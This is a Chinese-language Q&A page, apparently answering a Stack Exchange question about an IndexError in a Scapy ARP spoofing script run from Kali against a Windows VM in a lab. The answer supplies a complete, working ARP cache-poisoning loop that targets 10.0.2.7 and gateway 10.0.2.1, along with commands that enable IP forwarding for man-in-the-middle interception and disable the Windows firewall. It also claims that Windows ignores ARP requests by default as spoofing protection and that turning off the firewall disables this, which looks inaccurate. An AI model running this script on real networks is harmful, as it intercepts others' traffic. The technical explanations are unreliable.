Kali Linux中获取10.0.2.7的MAC地址触发索引越界异常求助
解决ARP欺骗代码中获取目标MAC时的IndexError问题
我明白你碰到的麻烦了:你的Python ARP欺骗脚本能顺利拿到网关10.0.2.1的MAC地址,但尝试获取Windows虚拟机10.0.2.7的MAC时,直接抛出了IndexError: list index out of range。这个错误的核心原因很明确——scapy.srp()没有收到目标主机的ARP响应,导致answered_list是空列表,你直接去访问answered_list[0]自然就会触发索引越界。
为什么会收不到响应?
大概率是这几个原因:
- Windows虚拟机的ARP防护机制在生效:现代Windows系统默认带有ARP欺骗防护,会忽略来自陌生主机的ARP广播请求,尤其是同一网段下的未授权请求。
- 虚拟机网络模式限制:如果你的Kali和Windows虚拟机用的是NAT模式,虚拟化层可能会限制虚拟机之间的直接通信,导致ARP广播无法正常送达或获取响应。
- 超时时间设置过短:你代码里的
timeout=1可能不够,Windows虚拟机的ARP响应速度可能稍慢,直接导致请求超时无响应。
具体修复方案
你可以按顺序尝试下面的解决办法:
1. 临时关闭Windows虚拟机的ARP防护
在Windows 10虚拟机里,以管理员身份打开命令提示符,执行:
netsh advfirewall set allprofiles state off
或者手动关闭Windows Defender防火墙的高级设置里的ARP相关规则,先验证是不是防护机制挡住了请求。
2. 调整虚拟机网络模式
如果之前用的是NAT模式,改成桥接模式或者内部网络:
- 桥接模式能让两台虚拟机处于同一物理网段,更利于ARP通信;
- 内部网络则让虚拟机之间直接互通,不受宿主机网络限制。
3. 修改代码,增加异常处理与超时优化
更新get_mac函数,增加空响应判断避免崩溃,同时延长超时时间:
#!/usr/bin/env python import scapy.all as scapy import time def get_mac(ip): arp_request = scapy.ARP(pdst=ip) broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") arp_request_broadcast = broadcast / arp_request # 延长超时时间到2秒,提升获取响应的概率 answered_list, unanswered_list = scapy.srp(arp_request_broadcast, timeout=2, verbose=False) # 判断是否收到响应 if answered_list: return answered_list[0][1].hwsrc else: print(f"[-] 无法获取 {ip} 的MAC地址,未收到ARP响应") return None def spoof(target_ip, spoof_ip): target_mac = get_mac(target_ip) if target_mac is None: print(f"[-] 无法欺骗目标 {target_ip},跳过本次请求") return packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip) scapy.send(packet, verbose=False) while True: spoof("10.0.2.7", "10.0.2.1") spoof("10.0.2.1", "10.0.2.7") time.sleep(2)
修改后的代码会在无法获取MAC时给出提示,而不是直接崩溃,同时延长了超时时间,提升了响应成功率。
4. 提前开启Kali的IP转发(后续必备)
虽然这不是当前报错的直接原因,但如果要实现完整的ARP欺骗(让目标主机能正常上网),需要开启IP转发:
echo 1 > /proc/sys/net/ipv4/ip_forward
验证步骤
- 先在Kali里执行
ping 10.0.2.7,确保两台虚拟机能互相连通; - 用
arping 10.0.2.7手动发送ARP请求,快速排查是不是网络或防护问题导致的无响应。
内容的提问来源于stack exchange,提问作者Ahmad Amin
相关产品推荐
相关产品推荐

